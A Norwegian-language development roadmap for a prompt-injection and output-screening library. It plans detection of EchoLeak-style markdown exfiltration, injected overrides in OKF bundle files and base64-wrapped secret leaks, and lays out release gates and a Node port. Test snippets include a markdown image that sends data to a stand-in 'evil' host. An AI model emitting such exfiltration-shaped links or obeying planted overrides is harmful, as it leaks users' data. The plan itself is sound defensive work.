llm-ingestion-pipeline-secu.../docs/PLAN-v1.md
Kjell Tore Guttormsen 55ce6265d4 docs(plan): state the gate requirement precisely -- fixture set, not tagged artifact
okf asked outright whether the v1.0 gate requires 'the tagged artifact resolves
0.3.1' or 'the fixture set passes against 0.3.1'. It is the second, and the
answer is locked here so a later session cannot quietly upgrade the ask into a
release request against their operator.

They refused to widen their published range to run the measurement, and the
refusal is better than the ask it answers: widening a published range in order
to generate the evidence that would justify widening it is circular, and a red
result would then have meant unwinding a release to fix a test setup. The
measurement has to be able to say no. Their scratch-venv method -- outside the
project environment, --no-deps, guard installed from the v0.3.1 tag, resolved
version asserted from importlib.metadata -- satisfies the gate exactly.
2026-07-25 20:02:41 +02:00

32 KiB

Re-planlagt roadmap — v1.0 (Python) + Node/TS-port

Forfattet: Fable 5, 2026-07-09 (kryssmodell-review, docs/review-2026-07.md); promotert til live sesjonsplan 2026-07-10. Sporet docs-fil; hjem = Forgejo open/ (eneste sanksjonerte offentlige flate, aldri GitHub). Utfyller docs/PLAN.md (høynivå byggeplan) med detaljerte, Opus-eksekverbare sesjon-specer.

Mållinje (bindende): (a) en shippet, klasseledende v1.0 av Python-biblioteket (lukk review-funn + format/kvalitets-gaps, konsolider terskler, verifiser novelty-claimet, docs, versjons-sync + publish), OG (b) en Node/TS-port over den delte JSON-lexicon. Node-porten starter FØRST når Python-v1.0-surfacen er frosset og scan-ren (Session G). Stream 4 (pre-adaptasjons-scan) og consumer-integrasjon hører til «Ambisiøse utvidelser» (review Del 1), ikke v1.0-sekvensen.

REVIDERT 2026-07-25 — v1.0-gaten er strammet, og en 0.3.0 er skutt inn foran G. Setningen over sier at consumer-integrasjon IKKE er del av v1.0-sekvensen. Den gjelder ikke lenger. Operatør-beslutning: 1.0.0 gates på at den første ekte integrasjonen kommer grønt tilbake (llm-ingestion-okf steg 4 / deres v0.4.0), ikke på vår egen suite. Begrunnelse: 522 egenskrevne tester + en egenskrevet coverage-matrise beviser at koden gjør det vi designet, ikke at designet overlever kontakt med virkeligheten. Bevisbyrden kom utenfra — okf fant, i sin FØRSTE utveksling med oss, at main hadde divergert fra v0.2.0 på import_bundle, og at CHANGELOG manglet tre atferdsendringer. Koden bestod; utgivelses-hygienen gjorde det ikke. v1.0 er primært et governance-løfte under semver, så det løftet avgis først etter én validert release-syklus.

v0.3.0 er derfor kuttet 2026-07-25 (tag pushet; 467b9e3). Den bærer Session A/A2/B ut til konsumenter som fortsatt pinner v0.2.0 og dermed ikke har noe av hardningen — og den er det som i det hele tatt gjør ekte tilbakemelding mulig. Minor og ikke patch fordi A2 (0772daf) satte allow_reserved=True som default og dermed LØSNET en gate. Node-porten (TRACK 2) er fortsatt blokkert bak G.

Endringer mot låst roadmap (STATE «re-sekvensert 2026-07-06»): steg 2 «modne guarden» utvides med review-injiserte fiks-sesjoner (A/B/C/D/E) FØR release (G). .pdf (steg 2i) blir en eksplisitt operatør-beslutning (Session F) med anbefaling om konsesjon. Node-porten (gammelt steg 3) splittes i P0-P7 med en delt parity-fixture som ryggrad.

Format per sesjon: Mål · Scope-grense · Avhengigheter · Filer · TDD-plan · Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid: PYTHONPATH=src .venv/bin/pytest …. Én sesjon ≈ «Les STATE.md og følg instruksen».


TRACK 1 — Python v1.0

Session A — Aktivt-innhold-detektor wiret inn i gaten (injisert av review MAJOR #1)

  • Mål: screen_output og okf.import_bundle skal surface EchoLeak-klassen (markdown-bilde/lenke/refdef/autolink/aktiv-HTML) som findings som mater disposition — uten å bryte report/mutasjon-separasjonen.
  • Scope-grense: rører IKKE lexicon/entropy/secret-logikk, contract, fence, sanitize. Ingen ny runtime-dep (stdlib-only). neutralizes muterende API beholdes uendret (bakoverkompatibelt).
  • Avhengigheter: ingen (kan starte først).
  • Filer: nytt src/llm_ingestion_guard/active_content.py (report-only scan_active_content(text, source) -> Report, OWASP LLM05); refaktor neutralize.py til å dele regex-tabellen; edit output.py (scan_output steg 6: kall scan_active_content); edit __init__.py (eksporter scan_active_content); edit tests/test_showcase.py + tests/test_okf_showcase.py (plant EchoLeak-vektor); ny tests/test_active_content.py.
  • TDD-plan (failing FØRST):
    1. test_active_content.py::test_markdown_image_is_reportedscan_active_content("![x](https://evil/leak?d=1)") inneholder label active:markdown-image, severity HIGH. (Rødt: modulen finnes ikke.)
    2. test_screen_output_reports_echoleakscreen_output("![x](https://evil/leak)", PRESET_USER_UPLOAD).disposition er QUARANTINE_REVIEW+ (ikke WARN).
    3. test_okf_import_flags_body_echoleak — bundle med markdown-bilde i body → aggregat ≠ WARN.
    4. Minimal impl: del regexene, report-only pass, wire i scan_output.
    5. Regresjon: hele suiten grønn (neutralize-tester uendret).
  • Nøkkelantakelser (+ test):
    • «neutralize og den nye detektoren kan dele samme regex-tabell uten atferdsendring i neutralize.» Test: eksisterende tests/test_neutralize.py passerer uendret etter refaktor.
    • «severity-valget (HIGH for bilde) gir ønsket disposition under begge preset.» Test: assertion 2/3 over. Risiko hvis feil: for lav severity → fortsatt WARN; testes eksplisitt.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_active_content.py tests/test_showcase.py tests/test_okf_showcase.py → alle grønne.
    • PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import screen_output, PRESET_USER_UPLOAD, Disposition; d=screen_output('![x](https://evil/leak?d=1)', PRESET_USER_UPLOAD); assert d.disposition is not Disposition.WARN, d" → exit 0.
    • python -c "import tomllib,pathlib; assert tomllib.loads(pathlib.Path('pyproject.toml').read_text())['project']['dependencies']==[]" → exit 0 (kjerne-invariant intakt).

Session A2 — OKF reservert-fil-håndtering (index.md/log.md) (injisert av review MAJOR #2)

  • Mål: import_bundle skal behandle legitime reserverte strukturfiler (index.md/log.md, spec §3.1/§6/§7) som skann-body-men-ikke-path-rejekt, ikke hard-avvise dem — og faktisk skanne index.md-bodyen (lest først, høyest-prioritert injeksjonsflate). Behold shadow-rejektet i upload/front-end-konteksten.
  • Scope-grense: rører IKKE validate_concept_paths oppførsel i upload-konteksten (front-end shadow-reject beholdes). Ingen endring i T1/T2/T3-gatene. Kun mode-b bundle-import-grenen.
  • Avhengigheter: ingen kode-avhengighet av A; men bør landes FØR G (frys). Kan parallelliseres med A/B/C.
  • Filer: edit src/llm_ingestion_guard/okf.py (_validate_concept/import_bundle: reservert-basenavn → skann-gren i stedet for path-reject; link_graph uendret); edit tests/test_okf.py + tests/test_okf_showcase.py (nytt: legitimt bundle med index.md/log.md ADMITer; injeksjon i index.md FANGES; shadow-upload i front-end REJECTer fortsatt).
  • TDD-plan (failing FØRST):
    1. test_okf.py::test_legit_index_and_log_admit — bundle {index.md, log.md, tables/users.md} (rene) → aggregat WARN, ingen error på index/log. (Rødt i dag: FAIL_SECURE, verifisert i review-proben.)
    2. test_okf.py::test_injection_in_index_body_is_caught — injeksjon i index.md-body → concept-report har override:ignore-previous. (Rødt i dag: findings=[].)
    3. test_okf_inbox_uploads.py::test_reserved_name_upload_is_rejected — MÅ fortsatt REJECTe (front-end shadow-reject bevart).
    4. Minimal impl: skill reservert-basenavn i bundle-import (skann-body) fra upload-materialisering (shadow-reject).
  • Nøkkelantakelser (+ test):
    • «index.md/log.md kan skannes som tekst uten path-reject uten å svekke shadow-vernet i upload-konteksten.» Test: assertion 1-3 samlet — legit bundle admits, index-injeksjon fanges, upload-shadow rejects.
    • Risiko: okf_version-frontmatter er tillatt KUN i bundle-root index.md (spec). Hvis body-skann kjører parse_frontmatter på en index.md kan strict-gaten tripp. Test: test_index_with_okf_version_frontmatter_admits — skann index.md-body, ikke reject på lovlig okf_version.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_okf.py tests/test_okf_showcase.py tests/test_okf_inbox_uploads.py → alle grønne.
    • PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import okf; r=okf.import_bundle({'index.md':'---\nokf_version: 0.1\n---\n# Listing\n','tables/users.md':'---\ntype: t\n---\nclean\n'}); assert r.disposition.value=='warn', [ (c.path,c.disposition.value,c.error) for c in r.concepts ]" → exit 0.

Session B — base64-innpakket secret-egress (injisert av review MINOR)

  • Mål: decode-and-rescan skal også kjøre scan_secret_egress over dekodet base64-plaintext, så en base64-innpakket credential fanges av LLM02-gaten.
  • Scope-grense: kun output.py decode-rescan-løkken (steg 3). Ingen endring i entropy-klassifisering, lexicon, eller egress-mønstrene selv.
  • Avhengigheter: ingen (uavhengig av A; kan parallelliseres).
  • Filer: edit src/llm_ingestion_guard/output.py (steg 3: legg til scan_secret_egress(blob.decoded) med decoded:egress:*-relabel); edit tests/test_output.py; edit README honest-limits (restgap: hex-innpakket).
  • TDD-plan:
    1. test_output.py::test_base64_wrapped_secret_is_caught — output med base64(AWS-nøkkel, fragment-bygget gitleaks-safe) → finding-label decoded:egress:aws-access-key-id. (Rødt i dag — Probe 3 bekreftet [].)
    2. Minimal impl: i decode-rescan-løkken, kjør også scan_secret_egressblob.decoded, relabel decoded:<label>, bær blob-offset.
    3. Restgap-test: hex-innpakket secret er FORTSATT ikke fanget → dokumenter som honest-limit (bevisst avgrensning, ikke stille miss).
  • Nøkkelantakelser (+ test):
    • «evidence bærer aldri secret-verdien, også for den dekodede varianten.» Test: assert nøkkel-fragmentet ikke i finding.evidence.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_output.py → N grønne (N = før +2).
    • PYTHONPATH=src .venv/bin/python /path/to/probe.py (Probe 3 fra reviewen) → base64-linjen viser nå decoded:egress:aws-access-key-id.

Session C — Novelty-survey + README/BRIEF-reframe (injisert av review MAJOR #2)

  • Mål: erstatt det uverifiserte/absolutte novelty-claimet med den forsvarbare kompositt-kontrakt-formen; oppdater BRIEF §11 fra «assumed» til verifisert-med- avgrensning.
  • Scope-grense: docs only (BRIEF.md, README.md). Ingen kodeendring. Ingen ny absolutt novelty-setning.
  • Avhengigheter: ingen.
  • Filer: edit docs/BRIEF.md §11; edit README.md posisjonering; ev. edit docs/PLAN.md-posisjonering (§19-45) — men PLAN er live-plan, la Opus avgjøre om den røres eller kun refereres.
  • TDD-plan (docs — verifiserbar via review, ikke pytest): ingen failing test; i stedet en verifiseringslogg i BRIEF §11 som lister ipi-scanner + aig-guardian med URL og hvorfor de ikke motbeviser kompositt-kontraktet.
  • Nøkkelantakelser (+ test):
    • «ingen bibliotek pakker det fulle firdelte kontraktet som minimal-dep kode.» Test: gjenta PyPI/GitHub-surveyen (søk «RAG ingestion security», «write-time prompt injection», «ipi-scanner», «ingest guard»); bekreft at ingen ny kandidat dekker karantene+isolasjon+scan-før-persist+fail-secure samlet. Merk dato.
  • Verifisering: grep -n "assumed, not verified" docs/BRIEF.md → tom (claimet ikke lenger uverifisert); grep -niE "query-time.*or hosted|the only" README.md → ingen absolutt formulering igjen.

Session D — Kalibrerings-konsolidering (injisert av review Akse 4; Node-prereq)

  • Mål: samle alle kalibrerings-konstanter (entropy-gulv, MAX_SCAN_CHARS, rot13-min, cognitive-load-lengder, disposition-rangeringer) i én dokumentert flate calibration.py, så Node-porten kan speile nøyaktig samme tall.
  • Scope-grense: ren refaktor — null atferdsendring. Ingen terskeljustering (det er en separat, senere kalibrerings-oppgave). Kun flytting + navngiving.
  • Avhengigheter: bør komme ETTER A (så aktivt-innhold-severities også bor der).
  • Filer: nytt src/llm_ingestion_guard/calibration.py; edit entropy.py, lexicon.py, disposition.py, active_content.py til å importere derfra.
  • TDD-plan:
    1. Snapshot-test FØRST: kjør hele suiten, lagre at 321(+delta) er grønne.
    2. Flytt konstanter; importer.
    3. Regresjon: identisk testresultat (ingen ny/endret assertion) beviser null atferdsendring.
  • Nøkkelantakelser (+ test): «flyttingen endrer ingen verdi.» Test: hele suiten grønn uendret; en eksplisitt test_calibration.py asserter de konkrete tallene (5.4/128, 5.1/64, 4.7/40, 1_000_000, 40, 2000/2500) som en frossen kontrakt Node-porten deler.
  • Verifisering: PYTHONPATH=src .venv/bin/pytest → samme antall grønne som før sesjonen (ingen delta i test-count utover test_calibration.py).

Session E — Docs/versjons-sync + SECURITY/CONTRIBUTING + honest-limits (injisert av review MINORs)

  • Mål: fjern versjons-drift; legg til manglende åpen-kildekode-artefakter; oppdater honest-limits med de residualene reviewen avdekket.
  • Scope-grense: docs/metadata only. Ingen kodeendring.
  • Avhengigheter: etter A/B/C (så honest-limits reflekterer faktisk tilstand).
  • Filer: README.md (badge tests-275→faktisk N; status v0.1v1.0; honest-limits: HIGH-i-trusted-prosa-residual, base64/hex-secret-restgap, quarantine-floor-note); docs/BRIEF.md:6-7 (fjern «No code yet»); nytt SECURITY.md (disclosure-policy, Forgejo-kontakt); nytt CONTRIBUTING.md.
  • TDD-plan: ingen pytest; verifiser via grep-sjekker under.
  • Nøkkelantakelser (+ test): «badge-tallet matcher faktisk suite.» Test: badge-N == pytest-output.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest -q | tail -1 → «N passed»; grep -n "tests-${N}_passing" README.md treffer.
    • grep -niE "v0\.1|275_passing|No code yet" README.md docs/BRIEF.md → tom.
    • test -f SECURITY.md && test -f CONTRIBUTING.md → exit 0.

Session F — .pdf-beslutning (operatør-gate; to gjensidig utelukkende spor)

  • Mål: avklar det siste format-gapet. Anbefaling: konsesjon (F1).
  • Rasjonale for konsesjon: front-end er en dev-scoped showcase, ikke shippet kode; README honest-limits sier allerede pdf-ekstraksjon er upålitelig; å legge til reportlab KUN for å lage white-on-white-test-fixtures er uforholdsmessig (to nye dev-deps for et demo-format). Binærlag-carriers (OCR/font-stego) er uansett eksplisitt out-of-scope. Konsesjon svekker ikke v1.0.
  • Spor F1 (anbefalt) — Konseder .pdf permanent:
    • Filer: README.md honest-limits (.pdf = bevisst honest-limit, ikke TODO); docs/PLAN.md §247-tabell (marker .pdf-raden «conceded»).
    • Verifisering: grep -n "pdf" README.md viser konsesjon, ikke «known gap».
  • Spor F2 (kun hvis operatør vil ha .pdf) — Bygg .pdf-slice:
    • Operatør-gate FØRST: bekreft pypdf (lesing) + reportlab (skrive white-on-white fixtures) som nye [dev]-deps — aldri core. Kjerne-invariant dependencies=[] MÅ holde.
    • Filer: pyproject.toml ([dev] += pypdf, reportlab); tests/inbox_frontend.py (_extract_pdf + dispatch .pdf); tests/test_okf_inbox_uploads.py (slice 2i: _make_pdf med white-on-white + normal-tekst injeksjon, detach-proof).
    • TDD: test_pdf_whiteonwhite_injection_is_caught (rødt) → _extract_pdf → grønt; test_pdf_detach_proof.
    • Verifisering: PYTHONPATH=src .venv/bin/pytest tests/test_okf_inbox_uploads.py → +N grønne; python -c "import tomllib,pathlib; d=tomllib.loads(pathlib.Path('pyproject.toml').read_text()); assert d['project']['dependencies']==[] and 'pypdf' in ' '.join(d['project']['optional-dependencies']['dev'])" → exit 0.
  • Avhengigheter: uavhengig; kan gjøres når som helst før G.

Session G — v1.0 freeze + release (FRYSER Python-surfacen — Node-prereq)

  • Mål: shippe v1.0.0; fryse den offentlige surfacen som porten oversetter.
  • Scope-grense: ingen ny feature. Kun versjons-bump, CHANGELOG, tag, push.
  • Avhengigheter: A, B, C, D, E, F ferdig (alle review-funn lukket/konsedert per 2026-07-25) PLUSS den reviderte gaten: første ekte integrasjon grønn — se REVIDERT-blokken øverst. Konkret: llm-ingestion-okf steg 4 / v0.4.0 kjører grønt mot v0.3.1 (de har FORPLIKTET seg til å kjøre Door B+C-fixtures og sende resultatet UANSETT utfall — et rødt FP-resultat er like verdifullt), OG ingen API-formsendring ut av den integrasjonen som ikke er absorbert. Ett validert integrated teller mer enn fem planned-erklæringer; vi venter IKKE på de øvrige (ms-ai-architect bygde sitt eget, okr er operatør-parkert).
  • ⚠️ GATEN KAN IKKE ÅPNES AV ET GRØNT SVAR ALENE — verifiser hvilken versjon som ble resolvet (funnet 2026-07-25, premiss-verifisering). Setningen «v0.4.0 kjører grønt mot v0.3.1» var skrevet mot en pin vi ikke hadde lest. okf pinner guarden >=0.2,<0.3 i [project].dependencies og [tool.uv.sources]-taggen til v0.2.0 — verifisert på deres v0.4.0-tag OG deres HEAD (4ea00a9). <0.3 ekskluderer både 0.3.0 og 0.3.1. Kjører de fixturene på et uendret tre, feiler det ikke — uv resolver v0.2.0, constrainten er tilfredsstilt, og fixturene kommer grønt tilbake fordi v0.2.0 aldri hadde regresjonen. Et grønt svar er dermed det ENESTE utfallet som intet forteller og ser ut som det forteller alt. Gate-kravet, presist formulert (okf spurte rett ut 2026-07-25 — svaret er låst): gaten krever at fixture-settet passerer mot guard 0.3.1, med den resolvede versjonen lest fra importlib.metadata ved kjøretid og oppgitt i resultatet. Gaten krever IKKE at okfs taggede artefakt kan resolve 0.3.1 — det er en RELEASE- beslutning eid av deres operatør, ikke et bevis om vår kalibrering. Vi stiller ingen release-forespørsel. Målingen skal kunne si nei uten at noen først har shippet et utvidet range; ville vi krevd det motsatte, ville vi bedt dem utgi en range som slipper inn en versjon de ennå ikke har målt. Deres metode (scratch-venv utenfor prosjektmiljøet, --no-deps, guard installert direkte fra v0.3.1-taggen, resolved versjon assertert) tilfredsstiller gaten.
  • Transitiv ankomst teller IKKE som integrasjon (portfolio-optimisers innsikt, 2026-07-25). okf v0.4.0 gjør guarden til en OBLIGATORISK runtime-dep, så en konsument kan få oss i grafen uten å velge oss — og i dag lander de da på v0.2.0, uten 0.3.0-hardningen og uten 0.3.1-fiksen. Stille under-forsvar, ikke brudd. En konsument som fikk oss ved uhell måler ingenting med hensikt; grønt derfra beviser mindre enn rødt fra en som valgte oss.
  • Filer: pyproject.toml (version = "1.0.0", Development Status :: 3 → 5 - Production/Stable); README.md badge + ****Status:** \v0.3`, alpha-linjen** + **install-pinnen @v0.3.1**; init.py version; CHANGELOG.md. **NB — entryen kan ikke lenger «liste A-F»:** A/A2/B ligger allerede ute under [0.3.0]. [1.0.0]skal referere[0.3.0]+[0.3.1]` for atferdsendringene og selv bære frysepunktet (API-stabilitet + det integrasjonen beviste), ikke gjenta dem.
  • TDD-plan: ingen ny test; hele suiten grønn er release-gaten.
  • Nøkkelantakelser (+ test): «alle versjonsreferanser er synkrone.» Test: grep alle fire filer for versjonsstreng, bekreft 1.0.0 overalt.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest → alle grønne.
    • grep -rn "1\.0\.0" pyproject.toml README.md src/llm_ingestion_guard/__init__.py CHANGELOG.md → treffer i alle fire; grep -rn "0\.3\.0" … → ingen dangling ref utenfor CHANGELOG-historikken.
    • Install-pinnen i README må verifiseres mot den NYE taggen i en ren venv (anonym pip install …@v1.0.0) — README skal aldri avertere en kommando vi ikke har kjørt.
    • git tag v1.0.0 + push til open/ (durabelt autorisert). STATE.md røres ikke av tag (local-only).

Session H — 0.3.1: regresjonsfiks for aktivt-innhold-kalibrering (LANDET 2026-07-25)

LANDET — 6e9b816, tag v0.3.1 pushet. Begge defekter fikset sammen; repro-tabellen under er kjørt på nytt og snudd (ordinær lenke/bilde/autolink/refdef → warn på BEGGE dører; exfil-formet → fail_secure). 577 tester grønne, coverage-matrise exit 0 (128/128 recall, 6/6 gap holder), anonym ren-venv-install av @v0.3.1 verifisert. Nye residualer skrevet inn i docs/LIMITATIONS.md (beaconing, kort opak URL-del, percent-escape-FP) og asserteres av matrisen. Alle 7 varslede repo har fått MÅLINGENE. Neste: Session G. 0.4.0 er akse-separasjon (deteksjon ≠ disposisjon), ikke ny preset.

  • Mål: gjøre den utrustede upload-stien brukbar igjen uten å miste EchoLeak- deteksjonen, og lukke testgatens blindfelt som slapp regresjonen forbi 522 grønne tester.
  • Utløser: llm-ingestion-okf projiserte konsekvensen fra CHANGELOG-teksten FØR 0.3.0 ble kuttet; vi shippet før vi leste innboksen. De traff retningen og undervurderte alvoret.

Målt på v0.3.0 (ikke antatt) — begge dører, PRESET_USER_UPLOAD / origin=EXTERNAL:

dokument utfall
ingen lenker warn
én ordinær lenke / autolink / refdef quarantine_review
én ordinær bilde-referanse fail_secure
relativt/lokalt bilde warn
  • Rotårsak — tre UAVHENGIGE defekter som forsterker hverandre:

    1. Severity følger konstruksjons-TYPE, ikke URL-FORM. markdown-image: HIGH fyrer på ethvert eksternt bilde. Exfil-primitivet er ikke «et bilde» — det er en URL som bærer data utover. ![diagram](https://example.com/a.png) bærer ingenting.
    2. Quarantine-floor fyrer på ENHVER finding (policy.quarantine_default and report.found). Premisset «findings er unntaket» brøt da hver lenke ble en finding. Dette er den allerede dokumenterte «vakuøs quarantine-floor»-residualen.
    3. FP-korpuset kunne strukturelt ikke fange det: _FALSE_POSITIVE (6 prosa-snutter) har NULL markdown-lenker/bilder; asserteres KUN under PRESET_TRUSTED_SOURCE (hvor alt gir warn uansett); og kjører _scan_input, så scan_output steg 6 — der active_content faktisk bor — berøres aldri av korpuset.
  • Begge kodeendringer trengs sammen (verifisert): kun (1) → floor karantenerer fortsatt; kun (2) → HIGH-bilde fail_secure'er fortsatt.

  • Scope-grense: INGEN ny offentlig API. Ny mellom-preset er 0.4.0, ikke denne. Rør ikke trusted-tier-residualen (HIGH-i-trusted→WARN). Ingen omskriving/neutralize i gaten — biblioteket reparerer ikke stille (bekreftet som bærende av okf).

  • Avhengigheter: ingen.

  • Filer: calibration.py (alle nye tall — låst konvensjon), active_content.py (form-analyse), disposition.py (floor-terskel), tests/test_corpus.py (blindfeltet), tests/test_active_content.py, coverage.py, CHANGELOG.md, docs/LIMITATIONS.md.

  • TDD-plan (failing test FØRST — Iron Law):

    1. Utvid _FALSE_POSITIVE med REALISTISKE markdown-dokumenter (ordinær lenke, bilde, autolink, refdef, blandet) og legg til et FP-testtilfelle som kjører screen_output under PRESET_USER_UPLOAD. Dette skal være rødt før noen kildeendring — det er beviset på at gaten nå faktisk dekker regresjonen.
    2. Form-analyse i active_content: ordinær ekstern URL (bar sti, ingen query, ingen høy-entropi-segment) → LOW; exfil-form → behold HIGH/MEDIUM. Gjenbruk entropy- modulen; ikke oppfinn ny heuristikk. data-uri og raw-html beholder HIGH ubetinget (aktive uansett URL-form).
    3. Floor-terskel i _base_disposition: fyrer på MEDIUM+ i stedet for enhver finding.
    4. Adversarielt mot-korpus: exfil-formede URL-er (query som bærer verdi, høy-entropi sti-segment/subdomene, percent/base64-payload) MÅ fortsatt nå HIGH → fail_secure.
  • Nøkkelantakelser (+ test):

    • «0.3.1 er ærlig som patch, ikke minor.» VERIFISERT 2026-07-25: lexicon har 0 LOW/INFO-mønstre (40 high / 22 medium / 21 critical) og ingen annen detektor produserer LOW. Floor-endringen er derfor en no-op for alt som fantes før 0.3.0 — den løsner ingenting for en v0.2.0-konsument. Re-test: python -c "…Counter(severity)…" skal fortsatt vise null LOW/INFO.
    • «form-heuristikken har ikke falske negativer på ekte exfil.» Test: mot-korpuset i TDD-steg 4. Dette er den farlige antakelsen — en for grov «ordinær»-definisjon gjenåpner EchoLeak.
    • «ren beaconing forblir udekket.» Et bilde som kun trigger et fetch uten å bære data (IP/metadata-lekkasje) faller til LOW. Dette er et BEVISST nytt hull og skal skrives inn i docs/LIMITATIONS.md, ikke ties i hjel.
  • Verifisering:

    • PYTHONPATH=src .venv/bin/pytest → alle grønne (-q skjuler summary — dropp den).
    • python -m llm_ingestion_guard.coverage → exit 0; ingen dokumentert gap-assertion brutt, og de nye FP-tilfellene er representert i matrisen.
    • Repro-tabellen øverst kjørt på nytt: ordinær lenke/bilde/autolink/refdef → warn på BEGGE dører; exfil-formet bilde → fail_secure under upload-preset.
    • Versjons-sync 0.3.0→0.3.1 i alle fire filer + README install-pin; anonym ren-venv pip install …@v0.3.1 før README averterer den.
    • Coord til de 7 varslede repoene med MÅLINGER, ikke beskrivelse (vi lovet det).

🔒 Konsument-varslingsplikt — to LÅSTE løfter (gitt 2026-07-25)

Begge er gitt til navngitte konsumenter som bygger på nåværende atferd. De bor HER og ikke bare i STATE.md, fordi STATE er LOCAL-ONLY og gitignored — et løfte som kun finnes der overlever ikke en maskin. Å bryte ett av disse stille er en release-defekt, ikke en preferanse.

  1. Gradering av ordinære lenker/bilder under PRESET_USER_UPLOAD — enhver endring krever varsel til linkedin-studio før den shippes. De pinner v0.3.1 ved wiring og bygger på 0.3.1-formen; en stille re-stramming lander som produksjonsincident hos dem, ikke som en release-note. Gjelder også 0.4.0: akse-separasjonen skal endre DISPOSISJON, ikke graderingen — viser det seg feil under scoping, fyrer løftet.
  2. Relativ-mål-asymmetrien (relative lenker/bilder i en OKF-bundle flagges ikke) — lukkes den, får llm-ingestion-okf varsel før det shippes. Den er en Door C-egenskap, ikke et guard-gap: et merget konsept skrives VERBATIM, så vi reparerer og omskriver ikke (designprinsipp 3). Men lukking endrer hva som ankommer deres persist-gate.

Kjent, ikke modellert: okf rapporterer at percent-escapes når filnavn gjennom en slugger — dvs. %20 produseres SYSTEMATISK fra dokumenttitler, ikke tilfeldig. Vår percent-escape-FP ble kalibrert mot dokumentasjons-URL-er der escapes er insidentelle. Er okfs mekanisme representativ, er dette en strukturell FP-klasse og ikke en sjelden form. Måles i deres re-run og i linkedin-studios korpus.


TRACK 2 — Node/TS-port (stream 3). Starter etter Session G.

Ryggrad: en delt parity-fixture (fixtures/parity/*.json: input → forventede labels/severities) som BÅDE Python og TS må tilfredsstille. Uten den porter du et bevegelig mål. Den delte injection_lexicon.json splittes aldri (PLAN §13.3).

Session P0 — Parity-fixture-ryggrad + TS-scaffold

  • Mål: etabler golden-fixtures + TS-prosjektskjelett; Python-impl asserter mot fixtures.
  • Scope-grense: ingen TS-detektor-logikk ennå; kun scaffold + fixtures + Python- parity-test.
  • Avhengigheter: Session G (frossen surface) + D (kalibrering konsolidert).
  • Filer: fixtures/parity/{sanitize,lexicon,entropy,output,okf}.json; ny tests/test_parity_fixtures.py (Python-siden); node/package.json, node/tsconfig.json, node/vitest.config.ts.
  • TDD-plan: test_parity_fixtures.py kjører hvert fixture-input gjennom Python- impl og asserter forventede labels (rødt til fixtures skrives, så grønt).
  • Nøkkelantakelse (+ test): «fixtures fanger den faktiske Python-atferden.» Test: Python-parity-test grønn.
  • Verifisering: PYTHONPATH=src .venv/bin/pytest tests/test_parity_fixtures.py → grønt; cd node && npm i && npx vitest run → tomt/skjelett kjører.

Session P1 — report + severity + lexicon-loader (TS)

  • Mål: TS-typene + loader som leser SAMME injection_lexicon.json.
  • Avhengigheter: P0.
  • Filer: node/src/report.ts, node/src/lexicon-loader.ts, node/test/*.test.ts.
  • TDD: vitest: loader kompilerer alle mønstre; antall == Python load_lexicon().
  • Nøkkelantakelse (+ test): «JS-regex-motoren aksepterer alle mønstrene uten flag-oversettelsestap.» Test: hver pattern kompilerer; parity på pattern-count.
  • Verifisering: cd node && npx vitest run test/lexicon-loader.test.ts → grønt; count == PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard.lexicon import load_lexicon; print(len(load_lexicon()))".

Session P2 — sanitize + entropy + normalize (TS)

  • Avhengigheter: P1.
  • Filer: node/src/sanitize.ts, node/src/entropy.ts, node/src/normalize.ts.
  • TDD: vitest kjører fixtures/parity/{sanitize,entropy}.json → samme labels.
  • Nøkkelantakelse (+ test): «base64/rot13/homoglyph-primitiver gir bit-lik output i JS og Python.» Test: parity-fixtures grønne begge sider.
  • Verifisering: cd node && npx vitest run (sanitize+entropy) grønt mot fixtures.

Session P3 — lexicon.scan + variant-set (TS)

  • Avhengigheter: P2.
  • Filer: node/src/lexicon.ts.
  • TDD: fixtures/parity/lexicon.json (raw/normalized/folded/rot13-varianter) → samme dedupede labels.
  • Nøkkelantakelse (+ test): «dedup-by-id og variant-rekkefølge matcher.» Test: parity-fixture med multi-variant-treff.
  • Verifisering: cd node && npx vitest run test/lexicon.test.ts grønt.

Session P4 — output + active_content + neutralize + disposition (TS)

  • Avhengigheter: P3. (Inkluderer aktivt-innhold fra Session A.)
  • Filer: node/src/output.ts, node/src/active_content.ts, node/src/neutralize.ts, node/src/disposition.ts.
  • TDD: fixtures/parity/output.json + disposition-tabell-fixtures.
  • Nøkkelantakelse (+ test): «fail-closed + carrier/CRITICAL any-tier + compound matcher Python.» Test: disposition-parity-fixtures inkl. transform_failed-caset.
  • Verifisering: cd node && npx vitest run (output+disposition) grønt mot fixtures.

Session P5 — contract-asserters + top-level bookends (TS)

  • Avhengigheter: P4.
  • Filer: node/src/contract.ts, node/src/index.ts (prepareInput/screenOutput).
  • TDD: tool-carrying request raiser; credential-leak raiser; happy path passerer.
  • Verifisering: cd node && npx vitest run test/contract.test.ts grønt.

Session P6 — OKF-adapter (TS)

  • Avhengigheter: P5.
  • Filer: node/src/okf.ts.
  • TDD: port _poisoned_bundle/_clean_bundle fra test_okf_showcase.py som fixture; samme aggregat-disposition + link-graf.
  • Nøkkelantakelse (+ test): «strict frontmatter-parser gir samme reject-set.» Test: OKF-parity-fixture (T2/T3/T4/T5a/dangling).
  • Verifisering: cd node && npx vitest run test/okf.test.ts grønt.

Session P7 — Parity-CI + Node-README + versjons-sync + tag

  • Avhengigheter: P6.
  • Filer: node/README.md, node/package.json (version synk med Python-linjen), CI-hook som kjører begge suiter mot samme fixtures.
  • Verifisering: både PYTHONPATH=src .venv/bin/pytest og cd node && npx vitest run grønne mot samme fixtures/parity/; versjonsstreng synk; tag + push til open/.

Avhengighetsgraf + anbefalt sekvens

A  ─┐
A2 ─┤          (A, A2, B, C uavhengige; kjør i den rekkefølgen som passer)
B  ─┤
C  ─┤
    ├─► D ─► E ─┐
F  ─┘           ├─► G (v1.0 FRYS) ─► P0 ─► P1 ─► P2 ─► P3 ─► P4 ─► P5 ─► P6 ─► P7
                │
   (F operatør-gated, uavhengig, må være lukket/konsedert før G)
  • A, A2, B, C kan tas i valgfri rekkefølge (uavhengige). Start med A eller A2 (begge review-MAJOR; A = unsafe admit, A2 = over-block + uskannet index.md).
